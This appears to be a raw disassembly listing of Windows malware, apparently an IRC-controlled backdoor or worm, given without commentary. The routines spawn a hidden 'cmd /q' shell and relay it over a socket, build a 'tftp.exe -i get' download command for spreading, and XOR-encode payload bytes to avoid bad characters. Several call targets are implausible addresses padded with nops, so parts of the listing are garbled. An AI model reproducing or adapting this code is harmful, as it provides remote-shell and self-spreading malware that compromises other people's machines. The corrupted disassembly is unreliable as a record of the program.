push 1 pop eax pop esi pop ebx leave retn sub_4162AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4165C6 proc near ; CODE XREF: ___:0041562Fp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_416717 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_4407FC[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_4240A0 pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4168E9 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_416631 call near ptr 2670ADCh nop push eax push offset dword_433914 call sub_40BFE1 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_41666B ; --------------------------------------------------------------------------- loc_416631: ; CODE XREF: sub_4165C6+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_41699B lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_416672 nop call near ptr 2670ADCh push eax push offset dword_433914 call sub_40BFE1 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] call near ptr 27F09C7h nop loc_41666B: ; CODE XREF: sub_4165C6+69j xor eax, eax jmp loc_416712 ; --------------------------------------------------------------------------- loc_416672: ; CODE XREF: sub_4165C6+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 nop call near ptr 28007F6h sub eax, ebx jz short loc_4166CC dec eax jz short loc_4166C6 dec eax jz short loc_4166B2 nop call near ptr 2670ADCh push eax push offset dword_4338D0 call sub_40BFE1 pop ecx pop ecx jmp short loc_4166E1 ; --------------------------------------------------------------------------- loc_4166B2: ; CODE XREF: sub_4165C6+D5j mov edi, dword_424168 push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_4166E1 ; --------------------------------------------------------------------------- loc_4166C6: ; CODE XREF: sub_4165C6+D2j push ebx push dword ptr [esi+10h] jmp short loc_4166D0 ; --------------------------------------------------------------------------- loc_4166CC: ; CODE XREF: sub_4165C6+CFj push ebx push dword ptr [esi+14h] loc_4166D0: ; CODE XREF: sub_4165C6+104j nop call near ptr 27F09C7h push 1 push dword ptr [esi+8] call near ptr 27F0BA6h nop loc_4166E1: ; CODE XREF: sub_4165C6+EAj ; sub_4165C6+FEj push dword ptr [esi+10h] mov edi, dword_424078 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_43AE30 push esi call sub_417C3B pop ecx push 1 pop eax loc_416712: ; CODE XREF: sub_4165C6+A7j pop edi pop esi pop ebx leave retn sub_4165C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416717 proc near ; CODE XREF: sub_4165C6+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_417B89 mov esi, eax pop ecx cmp esi, edi jz loc_416801 mov ebx, dword_424140 lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, dword_424078 test eax, eax jnz short loc_41677A nop call near ptr 2670ADCh push eax push offset dword_4339F4 jmp short loc_41679A ; --------------------------------------------------------------------------- loc_41677A: ; CODE XREF: sub_416717+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_4167A2 nop call near ptr 2670ADCh push eax push offset dword_4339A4 loc_41679A: ; CODE XREF: sub_416717+61j call sub_40BFE1 pop ecx jmp short loc_4167D0 ; --------------------------------------------------------------------------- loc_4167A2: ; CODE XREF: sub_416717+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_416810 add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_416805 push offset dword_43396C call sub_40BF6D loc_4167D0: ; CODE XREF: sub_416717+89j cmp [ebp+var_4], 0 pop ecx jz short loc_4167DC push [ebp+var_4] call edi loc_4167DC: ; CODE XREF: sub_416717+BEj cmp [ebp+var_8], 0 jz short loc_4167E7 push [ebp+var_8] call edi loc_4167E7: ; CODE XREF: sub_416717+C9j mov eax, [esi] test eax, eax jz short loc_4167F0 push eax call edi loc_4167F0: ; CODE XREF: sub_416717+D4j mov eax, [esi+4] test eax, eax jz short loc_4167FA push eax call edi loc_4167FA: ; CODE XREF: sub_416717+DEj push esi call sub_417C3B pop ecx loc_416801: ; CODE XREF: sub_416717+1Dj xor eax, eax jmp short loc_41680B ; --------------------------------------------------------------------------- loc_416805: ; CODE XREF: sub_416717+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_41680B: ; CODE XREF: sub_416717+ECj pop edi pop esi pop ebx leave retn sub_416717 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416810 proc near ; CODE XREF: sub_416717+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_417330 push 10h lea eax, [ebp+var_14] push esi push eax call sub_417330 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_42413C push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax call near ptr 27A0802h nop lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi nop call near ptr 2780B1Eh test eax, eax jz short loc_4168CC mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_4407F8[eax], ecx call near ptr 2651922h nop jmp short loc_4168E2 ; --------------------------------------------------------------------------- loc_4168CC: ; CODE XREF: sub_416810+9Aj nop call near ptr 2670ADCh push eax push offset dword_433A44 call sub_40BFE1 mov esi, [ebp+var_4] pop ecx pop ecx loc_4168E2: ; CODE XREF: sub_416810+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_416810 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4168E9 proc near ; DATA XREF: sub_4165C6+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_424074 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_416912: ; CODE XREF: sub_4168E9+8Fj call ebx test eax, eax jz short loc_41697A xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_41694D loc_416923: ; CODE XREF: sub_4168E9+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_41693D cmp dl, 0Dh jz short loc_41693D mov [ebp+eax+var_1B0], 0Dh inc eax loc_41693D: ; CODE XREF: sub_4168E9+44j ; sub_4168E9+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_416923 loc_41694D: ; CODE XREF: sub_4168E9+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_43ADE8 test eax, eax jle short loc_41697A lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_416912 ; --------------------------------------------------------------------------- loc_41697A: ; CODE XREF: sub_4168E9+2Dj ; sub_4168E9+79j mov esi, dword_42408C call esi cmp eax, 6Dh jz short loc_416996 call esi push eax push offset dword_433A90 call sub_40BFE1 pop ecx pop ecx loc_416996: ; CODE XREF: sub_4168E9+9Cj pop edi pop esi pop ebx leave retn sub_4168E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41699B proc near ; DATA XREF: sub_4165C6+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_4169B4: ; CODE XREF: sub_41699B+39j ; sub_41699B+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_43ADB0 test eax, eax jle loc_416AB9 cmp [ebp+var_10], ebx jbe short loc_4169D6 dec [ebp+var_10] jmp short loc_4169B4 ; --------------------------------------------------------------------------- loc_4169D6: ; CODE XREF: sub_41699B+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_416A99 cmp al, 8 mov [ebp+var_C], ebx jz short loc_416A46 cmp al, 7Fh jz short loc_416A46 cmp al, 3 jnz short loc_416A01 push ebx push ebx call near ptr 2800902h nop jmp short loc_416A6D ; --------------------------------------------------------------------------- loc_416A01: ; CODE XREF: sub_41699B+5Aj cmp al, 15h jnz short loc_416A23 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_416A59 ; --------------------------------------------------------------------------- loc_416A23: ; CODE XREF: sub_41699B+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_416A5A mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_416A59 ; --------------------------------------------------------------------------- loc_416A46: ; CODE XREF: sub_41699B+52j ; sub_41699B+56j cmp esi, ebx jbe short loc_416A70 dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_416A59: ; CODE XREF: sub_41699B+86j ; sub_41699B+A9j pop ecx loc_416A5A: ; CODE XREF: sub_41699B+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_43ADE8 test eax, eax jle short loc_416AB9 loc_416A6D: ; CODE XREF: sub_41699B+64j mov al, byte ptr [ebp+arg_0+3] loc_416A70: ; CODE XREF: sub_41699B+ADj cmp al, 0Dh jnz loc_4169B4 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] call near ptr 2660000h nop test eax, eax jz short loc_416AB9 xor esi, esi jmp loc_4169B4 ; --------------------------------------------------------------------------- loc_416A99: ; CODE XREF: sub_41699B+47j cmp [ebp+var_C], ebx jnz short loc_416AAA mov [ebp+var_C], 1 jmp loc_4169B4 ; --------------------------------------------------------------------------- loc_416AAA: ; CODE XREF: sub_41699B+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_4169B4 ; --------------------------------------------------------------------------- loc_416AB9: ; CODE XREF: sub_41699B+2Bj ; sub_41699B+D0j ... pop edi pop esi pop ebx leave retn sub_41699B endp ; =============== S U B R O U T I N E ======================================= sub_416ABE proc near ; CODE XREF: sub_416ADE+Ap ; sub_416BB6+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_417AB0 push [esp+8+arg_4] mov esi, eax call sub_417AB0 pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_416ABE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416ADE proc near ; CODE XREF: sub_416BCD+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_416ABE cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_416AFB xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_416AFB: ; CODE XREF: sub_416ADE+17j push ebx push esi push edi push [ebp+arg_8] call sub_417AB0 push [ebp+arg_C] mov esi, eax call sub_417AB0 mov edi, eax mov ebx, [ebp+arg_0] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov dword_433B70, eax lea eax, [edi+1] mov dword_433B91, eax lea eax, [edi+17h] mov dword_433B89, eax pop eax push 74h sub eax, edi push offset dword_433B0C push ebx mov dword_433B9F, eax call sub_417390 push esi lea eax, [ebx+74h] push [ebp+arg_8] push eax call sub_417390 add esi, 74h push 5 push (offset aTftp_exeIGet+0Ch) lea eax, [esi+ebx] push eax call sub_417390 add esi, 5 push edi push [ebp+arg_C] lea eax, [esi+ebx] push eax call sub_417390 add esi, edi push 10h push (offset aTftp_exeIGet+11h) lea eax, [esi+ebx] push eax call sub_417390 add esp, 44h add esi, 10h push edi lea eax, [esi+ebx] push [ebp+arg_C] push eax call sub_417390 add esi, edi push 38h add esi, ebx push offset byte_433B95 push esi call sub_417390 mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_416ADE endp ; =============== S U B R O U T I N E ======================================= sub_416BB6 proc near ; CODE XREF: sub_416BCD+Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_416ABE push eax call sub_416C3A add esp, 0Ch retn sub_416BB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416BCD proc near ; CODE XREF: sub_402B84+32p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push edi mov edi, [ebp+arg_C] push edi push ebx call sub_416BB6 cmp eax, [ebp+arg_4] pop ecx pop ecx ja short loc_416BED cmp eax, 0FFFFh jbe short loc_416BF1 loc_416BED: ; CODE XREF: sub_416BCD+17j xor eax, eax jmp short loc_416C36 ; --------------------------------------------------------------------------- loc_416BF1: ; CODE XREF: sub_416BCD+1Ej push esi push edi push ebx call sub_416ABE add eax, 101h push eax call sub_417B89 add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_416ABE pop ecx pop ecx push eax push esi call sub_416ADE push eax push esi push [ebp+arg_4] push [ebp+arg_0] call sub_416C55 push esi mov edi, eax call sub_417C3B add esp, 24h mov eax, edi pop esi loc_416C36: ; CODE XREF: sub_416BCD+22j pop edi pop ebx pop ebp retn sub_416BCD endp ; =============== S U B R O U T I N E ======================================= sub_416C3A proc near ; CODE XREF: sub_416BB6+Ep ; sub_416C55+4Ap arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_416C43 inc ecx loc_416C43: ; CODE XREF: sub_416C3A+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_416C3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C55 proc near ; CODE XREF: sub_416BCD+56p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_C], 0Ah jz short loc_416C71 cmp byte ptr [ebp+arg_C], 0Dh jz short loc_416C71 cmp byte ptr [ebp+arg_C], 5Ch jz short loc_416C71 cmp byte ptr [ebp+arg_C], 0 jnz short loc_416C74 loc_416C71: ; CODE XREF: sub_416C55+8j ; sub_416C55+Ej ... inc [ebp+arg_C] loc_416C74: ; CODE XREF: sub_416C55+1Aj push esi mov esi, 0FFh cmp [ebp+arg_C], esi jbe short loc_416C9C mov eax, [ebp+arg_C] shr eax, 8 cmp al, 0Ah jz short loc_416C95 cmp al, 0Dh jz short loc_416C95 cmp al, 5Ch jz short loc_416C95 test al, al jnz short loc_416C9C loc_416C95: ; CODE XREF: sub_416C55+32j ; sub_416C55+36j ... add [ebp+arg_C], 100h loc_416C9C: ; CODE XREF: sub_416C55+28j ; sub_416C55+3Ej push [ebp+arg_C] call sub_416C3A cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_416CB4 cmp eax, 0FFFFh jbe short loc_416CBB loc_416CB4: ; CODE XREF: sub_416C55+56j xor eax, eax jmp loc_416D59 ; --------------------------------------------------------------------------- loc_416CBB: ; CODE XREF: sub_416C55+5Dj mov ecx, [ebp+arg_C] push ebx mov bl, byte_4CD988 xor edx, edx push edi mov edi, [ebp+arg_8] test ecx, ecx jbe short loc_416CEB loc_416CCF: ; CODE XREF: sub_416C55+94j mov al, [edx+edi] xor al, bl jz short loc_416CE2 cmp al, 0Ah jz short loc_416CE2 cmp al, 0Dh jz short loc_416CE2 cmp al, 5Ch jnz short loc_416CE6 loc_416CE2: ; CODE XREF: sub_416C55+7Fj ; sub_416C55+83j ... inc bl xor edx, edx loc_416CE6: ; CODE XREF: sub_416C55+8Bj inc edx cmp edx, ecx jb short loc_416CCF loc_416CEB: ; CODE XREF: sub_416C55+78j cmp ecx, esi mov byte_4CD988, bl ja short loc_416D17 push 15h push offset loc_433AF4 push [ebp+arg_0] mov byte_433B01, cl mov byte_433B05, bl call sub_417390 add esp, 0Ch push 15h jmp short loc_416D38 ; --------------------------------------------------------------------------- loc_416D17: ; CODE XREF: sub_416C55+9Ej push 17h push offset loc_433ADC push [ebp+arg_0] mov word_433AEA, cx mov byte_433AEF, bl call sub_417390 add esp, 0Ch push 17h loc_416D38: ; CODE XREF: sub_416C55+C0j xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_416D54 mov edx, [ebp+arg_0] lea esi, [ecx+edx] loc_416D46: ; CODE XREF: sub_416C55+FDj mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_416D46 loc_416D54: ; CODE XREF: sub_416C55+E9j mov eax, [ebp+var_4] pop edi pop ebx loc_416D59: ; CODE XREF: sub_416C55+61j pop esi leave retn sub_416C55 endp ; =============== S U B R O U T I N E ======================================= sub_416D5C proc near ; CODE XREF: sub_4060D0+227p ; sub_407252+F0p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_4405F0 loc_416D64: ; CODE XREF: sub_416D5C+18j cmp byte ptr [eax], 0 jz short loc_416D78 add eax, 234h inc edi cmp eax, offset dword_4CD5F0 jl short loc_416D64 jmp short loc_416DC3 ; --------------------------------------------------------------------------- loc_416D78: ; CODE XREF: sub_416D5C+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_4405F0[esi] push eax call sub_418C10 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_4407F0[esi], eax and dword_4407F4[esi], 0 mov eax, [esp+8+arg_8] and dword_4407F8[esi], 0 mov dword_4407FC[esi], eax and byte_440808[esi], 0 pop esi loc_416DC3: ; CODE XREF: sub_416D5C+1Aj mov eax, edi pop edi retn sub_416D5C endp ; --------------------------------------------------------------------------- byte_416DC7 db 55h ; DATA XREF: sub_40EE72+5C01o dd 0EC81EC8Bh, 98h, 5608458Bh, 59266A57h, 0BD8DF08Bh, 0FFFFFF68h dd 75FFA5F3h, 9480C7F0h, 1000000h, 8D000000h, 0FFFF6C85h dd 0F475FFFFh, 68B5FF50h, 0E8FFFFFFh, 15h, 0E8EC75FFh dd 26Ch, 6A14C483h, 0CBE89000h, 5F022194h, 0EC8B555Eh dd 200EC81h, 57560000h, 75FF006Ah, 3BD06810h, 75FF0043h dd 875FF0Ch, 0FF6840E8h, 14C483FFh, 0F0BEFF33h, 80004405h dd 3C74003Eh, 147D83h, 0BE830975h, 204h, 562D7500h, 858D57h dd 68FFFFFEh, 432550h, 446E850h, 16A0000h, 0FE00858Dh dd 75FFFFFFh, 75FF5010h, 875FF0Ch, 0FF67F8E8h, 24C483FFh dd 234C681h, 81470000h, 4CD5F0FEh, 5FB07C00h ; --------------------------------------------------------------------------- pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_416E97 proc near ; CODE XREF: sub_40EE72+4DD9p ; sub_416F25+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_416F1F cmp esi, 400h jge short loc_416F1F imul esi, 234h push edi push ebx push dword_440804[esi] lea edi, dword_440804[esi] nop call near ptr 27F09C7h cmp [edi], ebx jz short loc_416ECF push 1 pop ebp loc_416ECF: ; CODE XREF: sub_416E97+33j mov [edi], ebx lea edi, dword_4407F8[esi] mov dword_4407F0[esi], ebx mov dword_4407F4[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_416EF0 push eax call sub_415419 pop ecx loc_416EF0: ; CODE XREF: sub_416E97+50j mov [edi], ebx lea edi, dword_4407FC[esi] mov byte ptr dword_4405F0[esi], bl mov byte_440808[esi], bl push dword ptr [edi] call dword_43AE30 lea esi, dword_440800[esi] mov [edi], ebx push dword ptr [esi] call dword_43AE30 mov [esi], ebx pop edi loc_416F1F: ; CODE XREF: sub_416E97+Dj ; sub_416E97+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_416E97 endp ; =============== S U B R O U T I N E ======================================= sub_416F25 proc near ; CODE XREF: sub_40AC42:loc_40AC66p ; sub_40D3A5+18p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_4405F0 loc_416F31: ; CODE XREF: sub_416F25+2Aj cmp byte ptr [esi], 0 jz short loc_416F42 push edi call sub_416E97 test eax, eax pop ecx jz short loc_416F42 inc ebx loc_416F42: ; CODE XREF: sub_416F25+Fj ; sub_416F25+1Aj add esi, 234h inc edi cmp esi, offset dword_4CD5F0 jl short loc_416F31 pop edi mov eax, ebx pop esi pop ebx retn sub_416F25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F57 proc near ; CODE XREF: sub_40EE72+1E3Dp ; sub_40EE72+1EABp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_4407F4 loc_416F6B: ; CODE XREF: sub_416F57+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_416F8D test edi, edi jle short loc_416F7F cmp [esi], edi jz short loc_416F7F cmp ebx, edi jnz short loc_416F8D loc_416F7F: ; CODE XREF: sub_416F57+1Ej ; sub_416F57+22j push ebx call sub_416E97 test eax, eax pop ecx jz short loc_416F8D inc [ebp+var_4] loc_416F8D: ; CODE XREF: sub_416F57+1Aj ; sub_416F57+26j ... add esi, 234h inc ebx cmp esi, offset dword_4CD7F4 jl short loc_416F6B mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_416F57 endp ; =============== S U B R O U T I N E ======================================= sub_416FA4 proc near ; CODE XREF: sub_4071DB+Bp ; sub_407252+2Dp ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_4407F0 loc_416FAB: ; CODE XREF: sub_416FA4+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_416FB4 inc eax loc_416FB4: ; CODE XREF: sub_416FA4+Dj add ecx, 234h cmp ecx, offset dword_4CD7F0 jl short loc_416FAB retn sub_416FA4 endp ; =============== S U B R O U T I N E ======================================= sub_416FC3 proc near ; CODE XREF: sub_40EE72+5698p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_4407F0 loc_416FCD: ; CODE XREF: sub_416FC3+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_416FE6 add ecx, 234h inc edx cmp ecx, offset dword_4CD7F0 jl short loc_416FCD pop esi retn ; --------------------------------------------------------------------------- loc_416FE6: ; CODE XREF: sub_416FC3+10j mov eax, edx pop esi retn sub_416FC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416FEA proc near ; CODE XREF: sub_40EE72+1070p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_417003 push [ebp+arg_1C] call sub_41781F pop ecx loc_417003: ; CODE XREF: sub_416FEA+Ej push eax push [ebp+arg_18] call sub_416F57 pop ecx test eax, eax pop ecx jle short loc_41702F push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"... push eax call sub_4172B0 add esp, 14h jmp short loc_417049 ; --------------------------------------------------------------------------- loc_41702F: ; CODE XREF: sub_416FEA+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s: No %s thread found." push eax call sub_4172B0 add esp, 10h loc_417049: ; CODE XREF: sub_416FEA+43j cmp [ebp+arg_C], 0 jnz short loc_417069 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_417069: ; CODE XREF: sub_416FEA+63j lea eax, [ebp+var_200] push eax call sub_40BF6D pop ecx leave retn sub_416FEA endp ; =============== S U B R O U T I N E ======================================= sub_417078 proc near ; CODE XREF: sub_401000+A5p ; sub_40144A+8Dp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_440804[eax], ecx mov dword_4407F0[eax], ecx mov dword_4407F4[eax], ecx mov dword_4407F8[eax], ecx mov dword_4407FC[eax], ecx mov dword_440800[eax], ecx mov byte ptr dword_4405F0[eax], cl mov byte_440808[eax], cl retn sub_417078 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4170B5 proc near ; CODE XREF: sub_40EE72+6189p ; sub_4171E3+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_4170BF: ; CODE XREF: sub_4170B5+68j mov cl, [esi] test cl, cl jz short loc_41711F cmp eax, 1 jnz short loc_41711F mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_41711F cmp cl, 2Ah jz short loc_417106 cmp cl, 3Fh jz short loc_4170E9 cmp cl, 5Bh jz short loc_4170EE xor eax, eax cmp cl, dl setz al loc_4170E9: ; CODE XREF: sub_4170B5+26j inc [ebp+arg_4] jmp short loc_417119 ; --------------------------------------------------------------------------- loc_4170EE: ; CODE XREF: sub_4170B5+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_41714B mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_417119 ; --------------------------------------------------------------------------- loc_417106: ; CODE XREF: sub_4170B5+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_4171E3 mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_417119: ; CODE XREF: sub_4170B5+37j ; sub_4170B5+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_4170BF ; --------------------------------------------------------------------------- loc_41711F: ; CODE XREF: sub_4170B5+Ej ; sub_4170B5+13j ... cmp byte ptr [esi], 2Ah jnz short loc_41712F cmp eax, 1 jnz short loc_417146 inc esi mov [ebp+arg_0], esi jmp short loc_41711F ; --------------------------------------------------------------------------- loc_41712F: ; CODE XREF: sub_4170B5+6Dj cmp eax, 1 jnz short loc_417146 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_417146 cmp byte ptr [esi], 0 jnz short loc_417146 push 1 pop eax jmp short loc_417148 